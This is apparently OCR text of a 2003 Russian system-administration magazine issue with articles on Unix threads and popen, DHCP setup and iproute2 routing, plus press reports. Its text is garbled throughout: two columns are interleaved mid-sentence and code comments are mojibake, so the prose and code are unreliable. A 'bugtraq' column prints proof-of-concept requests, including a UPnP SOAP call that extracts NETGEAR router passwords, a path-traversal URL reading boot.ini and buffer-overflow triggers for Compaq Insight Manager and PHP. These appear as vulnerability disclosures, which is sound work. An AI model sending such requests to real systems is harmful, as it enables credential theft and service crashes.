printf("Compiling now\n"); об основных принципах создания нитей в Unix. Нити в Unix
// Òàê êàê æä¸ì ìû äðóãîé ïðîöåññ, òî íàäî представляют собой особый вид процессов и создание
// óêàçàòü åãî PID
waitpid(pid, NULL, 0); нити очень похоже на вызов fork. Для создания нити не-
printf("That`s all\n"); обходимо применять функции библиотеки pthread. Для
}
} каждого потока схема создания следующая: инициализа-
ция атрибутов нити, создание нити, уничтожение нити и
Кроме вышеперечисленных функций существуют так- уничтожение её атрибутов.
же функции system и popen, выполняющие команды сред-
ствами операционной системы. Первая из них int int pthread_attr_init(pthread_attr_t *a)
system(char * command) выполняет файл command и воз-
вращает вызывающей программе код завершения. Фун- – установка атрибутов по умолчанию в структуре a. Да-
кция блокирует выполнение родительского процесса до лее можно устанавливать приоритет потока и другие его
завершения работы потомка. В системах POSIX command атрибуты функциями, специальными для каждого атри-
выполняется вызовом /bin/sh –c command. Функция system бута (таких функций 5 пар, отвечающих за включение и
не должна употребляться с программами, устанавливаю- выключение отдельных атрибутов).
щими биты suid sgid, во избежание «странного» поведе-
ния. Функция popen используется в POSIX-системах ана- int pthread_create(pthread_t *thread, pthread_attr_t ↵
*attr, void * (*start_func)(void *), void *arg)
логично system (выполняется /bin/sh –c), но данная функ-
ция возвращает файловый поток, связанный с дочерней – создаёт нить с атрибутами attr на основе функции
программой (аналог конвейера | в shell), что позволяет start_func и передающей этой функции параметры arg типа
взаимодействовать с потомком. FILE *popen(char *path, char void * (здесь всё, как и в WinNT). Если создание нити про-
*mode), где mode – режим открытия канала, аналогичный шло удачно, функция возвращает 0, а поле thread запол-
режимам открытия файла в fopen (учтите, что нельзя от- няется идентификатором потока.
крывать такой поток одновременно для чтения и записи),
при этом реально создается неименнованный канал. int pthread_join(pthread_t thread, void **retval)
После этого возможно взаимодействие с потомком че-
рез этот поток стандартными функциями работы с фай- – данный поток приостанавливает своё исполнение и ждёт
лами (fprintf, fscanf, fread, fwrite). Работа с потоком явля- завершения потока thread, который заполняет поле retval.

№5(6), май 2003 9


администрирование
void pthread_exit(void *retval) int main()
{
//Àòðèáóòû
– завершает текущий поток и записывает результат вы- pthread_attr_t a;
хода retval. //Äâà ïîòîêà
pthread_t thread1;
pthread_t thread2;
int pthread_attr_destroy(pthread_attr_t *attr) //Ñîçäà¸ì àòðèáóòû ïî óìîë÷àíèþ
pthread_attr_init(&a);
//Ñîçäà¸ì ïîòîêè
– очистка структуры атрибутов нити. pthread_create(&thread1, &a, thread_func, NULL);
pthread_create(&thread2, &a, thread_func, NULL);
Итак, приведу простенький пример создания нити в Linux. //Æä¸ì çàâåðøåíèÿ 2-ãî ïîòîêà
pthread_join(thread2, NULL);
#include <pthread.h> //Óáèâàåì àòðèáóòû
pthread_attr_destroy(&a);
void *thread_func(void *arg) return 0;
{
}
printf("Thread is running\n");
//Âûõîäèì èç ïîòîêà Компилируем так:
pthread_exit(NULL);
} gcc test_thread.c -lpthread

10
репортаж
Научились делать!
Недавно фирма ДКС устроила пресс-конференцию, на ко- мым в изготовлении пластиковых окон, то есть для исполь-
торой объявила о начале продаж системы СКС «Инлайнер» зования снаружи, а не для внутренних помещений, как
(систематизированной кабельной системы) российского про- обычно. Цена, правда, также не уступает зарубежным ана-
изводства. Поначалу я скептически отнесся к подобной сис- логам, а некоторые и превосходит. Сама система представ-
теме – не секрет, что российские короба быстро ломаются лена целым комплексом устройств (коробами, уголками,
(особенно если приходится их открывать). Но всегда дума- розетками и прочим), что и позволяет ей именоваться СКС,
ешь: «а вдруг?», поэтому я и поехал на это мероприятие. а не коробами. Для себя я отметил несколько «фичей»:
Пресс-конференция проходила на заводе фирмы ДКС некоторые модели уголков можно ставить на углы комнат,
в Твери. Первое впечатление положительное: отремон- не равных 900 – как раз для наших стен. Сами короба эла-
тированное в современном стиле здание, которое не по- стичны: можно и на кривую стену приделать.
терялось бы на фоне московских офисов, ярким пятном Интересно сделаны розетки (это не ноу-хау, просто взя-
выделялось среди руин промзоны провинциального го- то хорошее решение). Они устанавливаются на те же креп-
рода. Внутри чисто, и что меня поразило больше всего – ления, что и крышка короба, и поэтому их при желании
весь завод выполнен в едином стиле, начиная с цехов и можно передвинуть без необходимости сверлить стену
заканчивая конференц-залом и столовой (кстати, поизящ- или менять часть проводки (надо только не забыть при
нее большинства московских кафе). установке сделать запас провода). Весьма удобно при пе-
Наконец, представлена собственно сама система. На- репланировке офиса.
звать ее «новой» нельзя – система выпускается по лицен- Помня о свойстве отечественных коробов разваливать-
зии итальянской фирмы IBOCO, и уже несколько лет пред- ся при втором-третьем открывании, я несколько раз про-
ставлена на нашем рынке. Как ни странно, но российская делал эту операцию с ДКС-овским коробом, причем раз-
версия по ряду характеристик превосходит итальянского ными «варварскими» способами – отвертками, просто ру-
прародителя: ударопрочность возросла до 6 Дж (против 2 ками, но сломать так и не удалось, что радует. Все-таки
по евростандарту), также возросла стойкость к ультрафи- хорошо, когда у нас начинают работать, как в Европе – да
олету – используются присадки, аналогичные применяе- еще и вещи полезные делают.

С днем рождения!
11 апреля хостинг-провайдер HighWay.ru отметил свой день по отзывам клиентов, они говорят правду. На мероприятии
рождения, уже четвертый по счету. За время работы компа- были подведены итоги конкурса «Кто похвалит меня лучше
нией было зарегистрировано 3463 различных доменных име- всех, тот получит…», тьфу, конкурс на лучшее поздравле-
ни, предоставлен хостинг 3673 серверам, к тому же ние с днем рождения. Главный приз – сотовый телефон. А
HighWay.ru имеет развитую дилерскую сеть, насчитываю- самый изобретательный дилер получил в подарок электро-
щую 57 компаний. Маркетинговая политика являет собой отвертку. Как утверждают старые знакомые компании, та-
пример очередной попытки найти компромисс в дилемме кие шутки вполне в их духе, за что и любят Хайвейцев. Ну и
цена/качество, сделав упор именно на качестве предостав- качество, надо полагать, хорошее – а раз так, нам только
ляемых услуг, разумеется за минимальную… (правда, я не остается присоединиться к поздравлениям.
помню ни одной компании, которая бы говорила что их цена С днем рождения, HighWay!
не минимальна). А вот насчет индивидуального подхода, судя
На мероприятиях побывал Константин Меделян

№5(6), май 2003 11


администрирование

КОНФИГУРИРОВАНИЕ
DHCP
Для чего нужен протокол DHCP? DHCP – это протокол на-
стройки узла, который автоматически назначает IP-адреса
компьютерам. Протокол DHCP – это дальнейшее развитие
протокола BOOTP. Последний разрешает бездисковым кли-
ентам запускать и автоматически конфигурировать прото-
кол TCP/IP. Протокол DHCP централизовано назначает IP-
адреса в вашей сети и автоматически конфигурирует рабо-
чие станции. Возможно, вы подумали, что в одной сети дол-
жен быть только один сервер DHCP, потому что в против-
ном случае между серверами возникнет конфликт, а пост-
радавшим опять окажется клиент, который зависнет при
загрузке. А вот и не так – в одной сети может быть несколь-
ко серверов DHCP. И это не только не отразится на произ-
водительности сети, но даже повысит надежность сети, если,
например, один из серверов выйдет из строя.

ДЕНИС КОЛИСНИЧЕНКО
12
администрирование
Итак, установите пакет dhcp и включите поддержку дина- subnet 192.168.0.0 netmask 255.255.255.0 {
# ïðî÷èå îïöèè
мических IP-адресов командой: # …
#
echo "1" > /proc/sys/net/ipv4/ip_dynaddr host myhost {
hardware ethernet 00:40:C7:34:90:1E;
fixed-address 192.168.0.9;
}
Ясное дело, ничего не нужно делать, если поддержка }
динамических IP-адресов уже включена (в большинстве
случаев это так). DHCP в Linux реализован в виде демона Данный пример показывает, что аппаратному адресу
сервера (dhcpd) и демона клиента (dhcpcd). Демон серве- 00:40:C7:34:90:1E будет сопоставлен IP-адрес 192.168.0.9.
ра непосредственно отвечает за назначение IP-адресов Обратите внимание, что IP-адрес хоста myhost 192.168.0.9
клиентам при входе и выходе их из сети. Клиентский де- относится к подсети 192.168.0.0 и включен в инструкцию
мон, как явствует из названия, запускается на стороне subnet подсети 192.168.0.0, а не какой-либо другой сети!
клиента. Существует довольно удобная утилита для просмотра
Конфигурационным файлом для dhcpd является /etc/ всех MAC-адресов сетевых адаптеров в вашей сети – про-
dhcp.conf. При запуске DHCP-сервера происходит выде- грамма TCPNetView. Эта программа разработана Алек-
ление IP-адресов согласно содержащимся в файле /etc/ сандром Горлачем, и загрузить ее вы можете по адресу
dhcp.conf установкам. Выделенные адреса dhcpd регист- http://www.enet.ru/~gorlach/netview/ (если вы не можете
рирует в файле dhcpd.leases, который обычно находится скачать эту программу, обратитесь ко мне). Правда, есть
в каталоге /var/dhcpd. одно «но»: эта программа работает под Windows. В лю-
Сейчас давайте рассмотрим простейшую конфигура- бом случае, если вы будете использовать эту программу,
цию, которую будем постепенно наращивать. Обратите при настройке сервера вам не придется подходить к каж-
внимание: чтобы внесенные вами в файл /etc/dhcp.conf дому компьютеру, чтобы узнать его MAC-адрес.
изменения вступили в силу, демон dhcpd необходимо ос- Теперь предположим, что вам необходимо обеспечить
тановить и запустить снова. При этом используйте коман- поддержку WINS, а на вашей машине установлен сервер
ду /etc/rc.d/init.d/dhcpd stop для останова демона и коман- Samba. В этом случае в конструкцию subnet нужно вклю-
ду /etc/rc.d/init.d/dhcpd start для его запуска. чить следующие директивы:

Ôàéë /etc/dhcpd.conf option netbios-name-servers 192.168.0.1;


option netbios-dd-server 192.168.0.1;
# îïèñàíèå ñåòè, óêàçûâàþùåå, êàêàÿ èç ïîäñåòåé áóäåò option netbios-node-type 8;
# îáñëóæèâàòüñÿ. Óêàçûâàåòñÿ ñåòåâîé àäðåñ è ìàñêà ñåòè
subnet 192.168.0.0 netmask 255.255.255.0 {
# ìàðøðóòèçàòîð ïî óìîë÷àíèþ Примечание. Служба WINS (Windows Internet Name
option routers 192.168.0.1; Service) используется для разрешения (перевода) имен
# ìàñêà ïîäñåòè 255.255.255.0
option subnet-mask 255.255.255.0; NetBIOS в IP-адреса. Сервер WINS – это усовершенство-
# óñòàíîâêà äîìåíà ïî óìîë÷àíèþ è ñåðâåðà NIS, åñëè òàêîâîé ванный сервер имен NetBIOS, разработан Microsoft для
# èñïîëüçóåòñÿ
option nis-domain "domain.ru"; снижения широковещательного трафика.
option domain-name "domain.ru"; Пакет Samba предназначен для использования прото-
# àäðåñ DNS-ñåðâåðà, êîòîðûé áóäóò èñïîëüçîâàòü êëèåíòû
option domain-name-servers 192.168.0.1; кола SMB (Server Message Block), который также еще на-
# äèàïàçîí àäðåñîâ äëÿ êëèåíòîâ зывается протоколом NetBIOS. С помощью пакета Samba
# 192.168.0.10-192.168.0.250
range 192.168.0.10 192.168.0.254; ваша машина, работающая под управлением Linux, ни-
# ñêàçàòü êëèåíòàì, ÷òîáû îòäàëè àäðåñ ÷åðåç 21600 ñåêóíä чем не будет отличаться от рабочей станции или сервера
# (6 ÷àñîâ) ïîñëå ïîëó÷åíèÿ àäðåñà
default-lease-time 21600; сети Microsoft.
# çàáðàòü àäðåñ ñàìîìó ÷åðåç 28800 ñåêóíä (8 ÷àñîâ) Вот практически и все. Правда, еще можно добавить
max-lease-time 28800;
} пару незначительных опций:

Теперь будем постепенно усложнять конфигурацию. # îïðåäåëÿåì øèðîêîâåùàòåëüíûé àäðåñ


option broadcast-address 192.168.2.255;
Каждая сетевая карточка имеет уникальный собственный # âêëþ÷àåì IP-Forwarding
MAC-адрес. Допустим, вам нужно связать какой-то MAC- option ip-forwarding on;
# ìîæíî äîáàâèòü ãëîáàëüíóþ îïöèþ:
адрес с определенным IP-адресом. Для этого воспользуй- server-identifier server.domain.ua;
тесь конструкцией host:
Как обычно, дополнительную информацию можно
host myhost { получить, введя команду man dhcpd.conf. При настрой-
hardware ethernet xx:xx:xx:xx:xx:xx;
fixed-address 192.168.0.9; ке клиентов Windows следует активизировать режим
} «Получить IP-адрес автоматически» в свойствах TCP/
IP (см. рис. 1). А при настройке Linux с помощью конфи-
Ее нужно вставить в ту конструкцию подсети subnet, гуратора netconf – включить режим DHCP (см. рис. 2).
которой принадлежит назначаемый IP-адрес. Данная кон- Протокол DHCP подробно описан в RFC 1533, 1534,
струкция означает, что компьютеру с аппаратным адре- 1541, 1542, а протокол BOOTP описан в RFC 1532. Окон-
сом xx:xx:xx:xx:xx:xx будет назначен IP-адрес 192.168.1.9. чательный вариант конфигурационного файла приве-
Например: ден ниже.

№5(6), май 2003 13


администрирование

Ðèñ. 1. Íàñòðîéêà Windows-êëèåíòà Ðèñ. 2. Íàñòðîéêà Linux-êëèåíòà

Êîíôèãóðàöèîííûé ôàéë /etc/dhcpd.conf (îêîí÷àòåëüíûé âàðèàíò) # ñêàçàòü êëèåíòàì, ÷òîáû îòäàëè àäðåñ ÷åðåç 21600 ñåêóíä
# (6 ÷àñîâ) ïîñëå ïîëó÷åíèÿ àäðåñà
# Ïîäñåòü 192.168.0.0, ìàñêà ñåòè 255.255.255.0 default-lease-time 21600;
subnet 192.168.0.0 netmask 255.255.255.0 {
# çàáðàòü àäðåñ ñàìîìó ÷åðåç 28800 ñåêóíä (8 ÷àñîâ)
# ìàðøðóòèçàòîð ïî óìîë÷àíèþ max-lease-time 28800;
option routers 192.168.0.1; option netbios-name-servers 192.168.0.1;
option netbios-dd-server 192.168.0.1;
# ìàñêà ïîäñåòè 255.255.255.0 option netbios-node-type 8;
option subnet-mask 255.255.255.0;
#îïèñàíèå òðåõ êëèåíòîâ êëèåíòîâ (dhcp50, dhcp51, dhcp52)
# óñòàíîâêà äîìåíà ïî óìîë÷àíèþ è ñåðâåðà NIS, åñëè # è èõ àïïàðàòíûõ àäðåñîâ
# òàêîâîé èñïîëüçóåòñÿ host dhcp50 {
option nis-domain "domain.ru"; hardware ethernet 00:40:C7:34:90:1E;
option domain-name "domain.ru"; # îáðàòèòå âíèìàíèå íà òî, ÷òî âû äîëæíû èñïîëüçîâàòü
# IP-àäðåñ èç óêàçàííîãî ðàíåå äèàïàçîíà àäðåñîâ
# çàäàíèå øèðîêîâåùàòåëüíîãî àäðåñà # 192.168.0.10-254.
option broadcast-address 192.168.0.255; fixed-address 192.168.0.50;
}
# âêëþ÷åíèå IP-Forwarding host dhcp51 {
option ip-forwarding on; hardware ethernet 00:40:C7:34:90:1F;
fixed-address 192.168.0.51;
# ãëîáàëüíàÿ îïöèÿ server-identifier: }
server-identifier server.domain.ru; host dhcp52 {
hardware ethernet 00:40:C7:34:90:2A;
# àäðåñ DNS-ñåðâåðà, êîòîðûé áóäóò èñïîëüçîâàòü êëèåíòû fixed-address 192.168.0.52;
option domain-name-servers 192.168.0.1; }
}
# äèàïàçîí àäðåñîâ äëÿ êëèåíòîâ
# 192.168.0.10-192.168.0.254 Вот практически и все. Все ваши вопросы и коммен-
range 192.168.0.10 192.168.0.254; тарии присылайте по адресу dhsilabs@mail.ru.

14
bugtraq
Раскрытие пароля через UPNP DoS против Apache HTTP сервера
в NETGEAR FM114P Wireless Уязвимость обнаружена в Apache HTTP сервере. Удален-
cable/DSL firewall router ный атакующий может заставить сервер использовать все
Уязвимость обнаружена в NETGEAR FM114P Wireless доступные системные ресурсы на затронутой системе.
cable/DSL firewall router. Устройство может раскрыть ин- Проблема связана с обработкой HTTP-сервером
формацию авторизации удаленному пользователю, ког- больших кусков последовательных символов перевода
да используется Universal Plug and Play (UPNP). строки. Веб-сервер распределяет 80-байтовый буфер
Как сообщается, удаленный пользователь может выз- для каждого символа перевода строки, не определяя
вать UPNP SOAP запрос (GetUserName, GetPassword), верхний предел для распределения. Следовательно, на-
чтобы получить WAN имя пользователя и пароль с уст- падающий может дистанционно исчерпать системные
ройства. Пример: ресурсы, создавая множественные запросы, содержа-
щие эти символы.
HOST: 192.168.0.1:80 Хотя для успешного выполнения нападения требуется
SOAPACTION: "urn:schemas-upnp-org:service: ↵
WANPPPConnection:1#GetUserName" интенсивная пропускная способность, уязвимость может
CONTENT-TYPE: text/xml ; charset="utf-8" использоваться и через Интернет. Как сообщается, для
Content-Length: 289
проведения успешного нападения, требуется от двух и до
<?xml version="1.0" encoding="utf-8"?> семи мегабайт трафика между злоумышленником и уяз-
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/ ↵
soap/encoding/" вимым сервером.
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> Уязвимость обнаружена в Apache HTTP Server 2.x-
<s:Body>
<u:GetUserName 2.0.44 для всех платформ.
xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1" />
</s:Body>
</s:Envelope> В клиентской программе SETI@home
обнаружена опасная уязвимость
Уязвимость обнаружена в NETGEAR FM114P; Firmware 1.4 По сообщению SkyLined, в «скринсейвере» SETI@Home
Beta Release 21. была обнаружена довольно серьёзная уязвимость, кото-
рая в теории позволяет злоумышленнику ставить компь-
Несколько уязвимостей ютер, на котором работает SETI@home под контроль, и
в Compaq Insight Manager вдобавок организовывать DoS-атаки на основной сервер.
Несколько уязвимостей обнаружено в Compaq’s Insight Во-первых, при установлении связи между клиентом и
Manager. Удаленный пользователь может определить су- сервером SETI@home, клиент отправляет серверу данные
ществование файла на системе. Также удаленный пользо- о компьютере (в частности, о процессоре и операционной
ватель может аварийно завершить работу сервиса. системе) в незашифрованном виде, так что выудить эти
Сообщается, что удаленный пользователь может зап- данные для хакера особой проблемы не составит.
росить следующий URL, чтобы определить существова- Во-вторых, предположительно все существующие вер-
ния файла на сервере: сии клиента подвержены ошибке переполнения буфера,
благодаря чему хакер может запустить на компьютере
http://[target]:2301/<!.DebugSearchPaths> ↵ жертвы любой код.
?Url=%2F..%2F..%2F..%2F..%2Fboot.ini
Ошибка переполнения буфера, очевидно, была и на
Также сообщается, что несколько URL могут вызвать основном сервере. Сейчас уже выпущено соответствую-
переполнение стека: щее обновление, которое можно скачать с основного сер-
вера SETI@home.
http://[target]:2301/<!.StringRedirecturl>
http://[target]:2301/<!>
http://[target]:2301/survey/<!> Удаленное переполнение буфера в PHP
http://[target]:2301/<!.StringHttpRequest=Url> Уязвимость обнаружена в языке сценариев PHP. Уда-
http://[target]:2301/survey/<!.StringHttpRequest=Url>
http://[target]:2301/<!.St ringIsapiECB=lpszPathInfo> ленный пользователь может выполнять произвольные
http://[target]:2301/<!.ObjectIsapiECB> PHP-команды.
Функция array_pad() возвращает копию массива input,
Переполнение буфера может быть вызвано следую- дополненного на размер, специфицированный парамет-
щим запросом: ром pad_size, значением pad_value.
В этой функции обнаружено целочисленное перепол-
GET /<!.FunctionContentType=(About 250 AAAAA:s)> HTTP/1.0 нение буфера, если представлен чрезмерно длинный ар-
гумент int pad_size:
Также удаленный пользователь может просмотреть
«TAG»-список, запрашивая следующий URL: $ cat t.php
<?php
array_pad(array(1,2,3), 0x40000003, "pad");
GET /<!.FunctionContentType=(About 250 AAAAA:s)> HTTP/1.0 ?>

Все вышеперечисленные проблемы могут также экс- Уязвимость обнаружена в Linux 2.4 with Apache 1.3.27/
плуатироваться через https-порт. PHP 4.3.1.

№5(6), май 2003 15


СТАТИЧЕСКАЯ
МАРШРУТИЗАЦИЯ
В LINUX.
IPROUTE2
ЧАСТЬ 1

ВСЕВОЛОД СТАХОВ
Наверное, любой из вас хотя бы отдаленно знает, что та- Это открывает широкие возможности при создании се-
кое маршрутизация. Итак, маршрутизация – это, как бы это тей со сложной структурой. Ещё очень важной особеннос-
банально не звучало, есть выбор маршрута. В данной ста- тью является универсальность GNU/Linux, по-моему, эта
тье под этим термином я буду понимать выбор маршрута ОС поддерживает в той или иной степени все распростра-
следования сетевого IP-пакета. Дело в том, что современ- нённые сетевые протоколы. Ещё одной немаловажной осо-
ные программные маршрутизаторы (а рассказывать я буду бенностью является бесплатность всей системы маршру-
как раз об одном из представителей данного класса уст- тизации. С точки зрения многих администраторов, марш-
ройств) умеют полноценно работать только с протоколом IP. рутизатор – это просто черный ящик, принимающий и пе-
Почему же я решил описать построение маршрутиза- редающий пакеты, однако грамотная настройка маршру-
тора именно на основе ОС GNU/Linux(*)? Тут две основ- тизации – залог эффективности и зачастую безопасности
ные причины: всей сети. Очень интересно использовать маршрутизацию
 ядро GNU/Linux способно уместиться на дискете, что для распределения нагрузки, передачи определённого тра-
может позволить создать весьма функциональный фика на определённый хост (для анализа) и уменьшения
маршрутизатор вне зависимости от конкретной маши- опасности DoS-атак. Маршрутизация способна ограничи-
ны, кроме этого, можно «оживить» старые машины и вать сетевые «штормы» и существенно увеличить пропус-
заставить их работать на пользу людям; кную способность сети. Я решил построить эту статью в
 ядро Linux(2.4, 2.2) поддерживает очень полезные фун- виде конкретных примеров настройки маршрутизации (в
кции маршрутизации, и может быть специально «за- дальнейшем я иногда буду употреблять слово роутинг).
точено» под использование в качестве маршрутизато- Маршрутизация бывает статической и динамической.
ра, кроме этого, стандартный брандмауэр Linux 2.4 – Отличие в том, что при статической маршрутизации все
iptables может «метить» (не подумайте ничего плохо- правила передачи пакетов прописываются статически и
го) определённые пакеты, а ядро может выполнять могут быть изменены только вручную, динамическая мар-
выбор маршрута согласно этим меткам. шрутизация применяется, когда в сети существует не-
администрирование
сколько маршрутизаторов, и нахождение пути до уда- Пакет iproute состоит фактически из двух утилит управ-
ленного хоста становится нетривиальной задачей. Ди- ления трафиком:
намическая маршрутизация больше подходит для часто  ip – управление собственно маршрутизацией;
меняющихся сетей со сложной структурой. Хотя GNU/  tc – управление очередями маршрутизации.
Linux поддерживает оба типа маршрутизации, но в рам-
ках данной статьи я буду рассказывать о статической Для начала расскажу об общих принципах команды ip,
маршрутизации при помощи пакета iproute2, написанно- синтаксис команды таков:
го нашим программистом Алексеем Кузнецовым. Для
начала работы необходимо настроить соответствующим ip [îïöèè] {îáúåêò ìàðøðóòèçàöèè} {êîìàíäà èëè HELP}
образом ядро и установить пакет iproute. Остановлюсь
на настройке ядра. В ядре необходимо включить ряд Из опций наиболее полезным является выбор семейства IP:
опций маршрутизации (думаю, нет нужды объяснять, как  4 – IPv4;
настраивать и компилировать ядро).Я предполагаю, что  6 – IPv6.
вы настраиваете ядро командой:
Список объектов маршрутизации:
make menuconfig  link – сетевое устройство (реальное физическое или
виртуальное, например vlan или туннель);
На странице Networking Options необходимо включить  address – IP-адрес устройства;
следующие элементы:  neighbour – кеш ARP;
 IP: advanced router – включение расширенных возмож-  route – таблицы маршрутизации;
ностей маршрутизации;  rule – правила маршрутизации;
 IP: policy routing – маршрутизация по некоторым  maddress – широковещательный адрес;
внутренним полям пакетов (обычно применяется со-  mroute – широковещательные таблицы маршрутизации;
вместно с брандмауэром), а также для расширен-  tunnel – IP-туннель.
ных возможностей маршрутизации, например, мар-
шрутизация согласно адресу-источнику пакета Команды для разных объектов разные, но для всех
(source-based routing); объектов существует стандартный набор команд add (до-
 IP: use netfilter MARK value as routing key – включение бавить), delete (удалить) и show (показать можно также
возможности маршрутизации согласно маркировке па- применять list или ls). Синтаксис различных команд для
кета брандмауэром; разных объектов может быть совершенно разным, поэто-
 IP: use TOS value as routing key – маршрутизация паке- му я не буду описывать здесь все команды каждого объек-
тов на основе заголовка тип сервиса (TOS), помогает та. Я буду придерживаться стиля Linux Adv. Routing
увеличить пропускную способность сети при наличии HOWTO и приведу полезные примеры употребления ко-
нескольких путей прохождения пакетов; манды ip. Для начала просмотрим сетевые устройства,
 IP: large routing tables – включение больших (>64 пра- присутствующие на нашей тестовой машине (пусть у неё
вил) таблиц маршрутизации ядра. будут IP-адреса 192.168.1.1 и 192.168.2.1):

Можно также включить поддержку туннелей, но я не # ip link list


1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue
буду на этом задерживаться. После настройки ядра необ- link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
ходимо установить iproute2 в большинстве дистрибутивов 2: dummy0: <BROADCAST,NOARP> mtu 1500 qdisc noop
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
GNU/Linux эта программа входит в дистрибутив, напри- 3: eth0: <BROADCAST, MULTICAST, UP> mtu 1500 qdisc ↵
мер, для Debian GNU/Linux команда будет выглядеть так: pfifo_fast qlen 10
link/ether 48:54:e8:01:ef:56 brd ff:ff:ff:ff:ff:ff
4: eth1: <BROADCAST, MULTICAST, UP> mtu 1500 qdisc ↵
apt-get install iproute pfifo_fast qlen 10
link/ether 00:e0:4c:39:ef:56 brd ff:ff:ff:ff:ff:ff

исходные коды могут быть получены по адресу: ftp:// Теперь настало время перейти к рассмотрению про-
ftp.inr.ac.ru/IProuting/IProute2-xxx.tar.gz, компиляция стан- стейшего случая организации маршрутизации. Допус-
дартная, но цели install в Makefile нет – необходимо ско- тим, в локальной сети крупных размеров есть три ком-
пировать бинарные файлы из каталога ip (cp ifcfg ip routef пьютера, которым положено иметь доступ к глобальной
routel rtacct rtmon rtpr /sbin) и из каталога tc (cp tc /sbin) в сети. При этом имеется два соединения с провайдером –
/sbin, а ./etc/iproute2/ – в /etc/iproute2/. быстрое ADSL и медленное модемное. Желательно один
Не поленитесь также скачать Linux Advanced Routing компьютер (c адресом 192.168.1.10) направить в глобаль-
and Traffic Control HOWTO, которое может быть найдено ную сеть через модем, а два других (с адресами
на узле www.lartc.org. Это руководство необходимо для 192.168.1.20 и 192.168.21) через ADSL. Трафик, направ-
настройки сложной статической маршрутизации на ос- ленный во внешний мир с других компьютеров, жела-
нове Linux. Я сам настраивал маршрутизацию в сети на тельно перенаправлять на сниффер, расположенный по
основе этого руководства, поэтому если эта статья не адресу 192.168.1.100, причем сниффер может распола-
решила вашей проблемы, лучше обратиться к данному гаться и на данном компьютере (tcpdump -i ethX). Схема
документу. подключения примерно такова:

18
администрирование
Эти команды, думаю, являются понятными, поэтому
сразу просмотрим наши таблицы маршрутизации:

# ip rule list
0: from all lookup local
32764: from 192.168.1.20 lookup inet_adsl
32765: from 192.168.1.21 lookup inet_adsl
32766: from all lookup main
32767: from all lookup default

Теперь необходимо добавить маршрутизатор по умол-


чанию для таблицы inet_adsl, тогда все пакеты от необхо-
димых машин будут направляться к заданному шлюзу:

# ip route add default via 213.79.52.10 dev ppp1 table ↵


inet_adsl

После этого необходимо сбросить кеш маршрутизатора:


Просмотрим сетевые карты на сервере, список будет
примерно таким: # ip route flush cache

# ip link list Теперь очередь настроить модемное соединение. Ду-


1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 маю, следующие команды не должны вызвать сложности:
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc ↵
pfifo_fast qlen 10 # echo 201 inet_modem >> /etc/iproute2/rt_tables
link/ether 48:54:e8:01:ef:56 brd ff:ff:ff:ff:ff:ff # ip rule add from 192.168.1.10 table inet_modem
inet 192.168.1.1/24 brd 192.168.1.255 scope global eth0
3764: ppp0: <POINTTOPOINT,MULTICAST,NOARP,UP> mtu 1492 ↵ # ip route add default via 213.79.52.48 dev ppp0 table ↵
inet_modem
qdisc pfifo_fast qlen # ip route flush cache
link/ppp
inet 213.59.72.1 peer 213.59.72.48/24 scope global ppp0
3765: ppp1: <POINTTOPOINT,MULTICAST,NOARP,UP> mtu 1492 ↵ Для просмотра таблиц маршрутизации можно исполь-
qdisc pfifo_fast qlen зовать команду:
link/ppp
inet 213.59.72.2 peer 213.59.72.10/24 scope global ppp1
# ip route list [table table_name]
Очевидно, что ppp0 соотвествует модемному соедине-
нию, а ppp1 – ADSL-соединению. Просмотрим таблицы Теперь необходимо включить сниффер для отслежи-
маршрутизации (здесь идет отображение всех таблиц мар- вания пакетов, которые пришли из локальной сети. Доба-
шрутизации ядра, ядро принимает решение о применении вим виртуальную сетевую карту:
той или иной таблицы на основании адреса источника па-
кета, утилита route способна оперировать только с табли- # ifconfig eth0:1 192.168.1.100 up
цой main и local, iproute2 дает возможность создавать соб-
ственные таблицы, что будет описано несколько позже): И настроим правила маршрутизации так, чтобы пакеты
с локальной сети, направленные во внешнюю сеть, направ-
# ip rule list лялись на адрес 192.168.1.100, т.е. чтобы администратор
0: from all lookup local мог наблюдать за попытками выхода во внешнюю сеть. Эта
32766: from all lookup main проблема не так тривиальна, как предыдущая, но реше-
32767: from all lookup default
ние все-таки существует. Задача решается интеграцией
Как видно, пока наши таблицы применимы ко всем возможностей netfilter (iptables) и iproute2. Внутри ядра су-
пакетам. Добавим новую таблицу для машин, связанных ществует возможность установки на пакетах меток (метки
с Интернетом через ADSL: устанавливает iptables, но учтите, что эти метки существу-
ют только в пределах ядра, и не выходят за границы дан-
# echo 200 inet_adsl >> /etc/iproute2/rt_tables ного компьютера). Подробное описание системы netfilter
выходит за рамки данной статьи, поэтому я ограничусь опи-
Эта команда требует некоторого пояснения: номер 200 санием процесса установки метки на конкретном примере:
выбран произвольно, главное, чтобы он не совпадал с
другими номерами таблиц маршрутизации, имя inet_adsl # iptables -A PREROUTING -i eth0 -s 192.168.1.0/24 -d ! ↵
192.168.1.0/24
также дается произвольно, но потом этой таблицей мож- -t mangle -j MARK --set-mark 2
но управлять по имени, так что в ваших же интересах дать
понятное имя таблице, дабы облегчить себе процесс даль- Некоторые комментарии: обратите внимание на флаг
нейшей настройки. -j MARK и --set-mark: последний флаг может устанавли-
Добавим в таблицу правила приема пакетов: вать метку от 1 до 255.
После установки правила iptables неоходимо вновь
# ip rule add from 192.168.1.20 table inet_adsl вернуться к настройке iproute2. Учтите, что сейчас все
# ip rule add from 192.168.1.21 table inet_adsl
необходимые нам пакеты помечены меткой 2, осталось

№5(6), май 2003 19


администрирование
только направить все такие пакеты на сниффер, распо- зовать связь нескольких подсетей одним соединением. В
ложенный по адресу 192.168.1.100: ядро Linux интегрирована поддержка нескольких типов IP-
туннелей. Управление туннелями осуществляется посред-
# echo 202 sniffing >> /etc/iproute2/rt_tables ством команды ip tunnel. Но для начала необходимо вклю-
# ip rule add fwmark 2 table sniffing
чить поддержку туннелей в ядре. На странице Networking
Заметьте, эта строка выполняет выборку пакетов со- options отмечаем следующие опции:
гласно их метке.  IP: tunneling – поддержка туннелей ядром;
 IP: GRE tunnels over ip – поддержка GRE-туннелей, ко-
# ip route add default via 19.168.1.100 dev eth0:1 table ↵ торые обладают возможностью инкапсулировать IPv6-
